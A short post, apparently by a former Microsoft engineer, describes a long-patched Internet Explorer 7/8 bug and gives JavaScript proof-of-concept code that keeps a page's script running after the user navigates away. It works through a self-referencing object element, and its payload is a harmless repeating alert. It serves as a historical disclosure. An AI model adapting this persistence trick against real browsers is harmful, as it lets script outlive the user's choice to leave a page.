Creating an <object type="text/html"> element with createElement and then storing a reference to that element inside its own document’s window keeps the element alive indefinitely — even after the main page navigates away. The self-reference prevents garbage collection.
<script language="JavaScript">
var oHtml = document.createElement('<object type="text/html" data="residentfile.html" width="100" height="100"></object>');
function makeItResident()
{
// oHtml.object is the document inside the object element
// oHtml.object.parentWindow is the window inside that document
oHtml.object.parentWindow.selfReference = oHtml;
}
setTimeout("makeItResident()",1000);
</script>
The residentfile.html simply runs a setInterval:
<script language="JavaScript">
setInterval("alert('I am still here.')",5000);
</script>
Navigate away after the page loads and the alert continues firing every five seconds. This is a variation of an older IE7 technique (IE7_Resident_opener_CreateElement_OBJECT) that was updated to also work on IE8.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.
Read other posts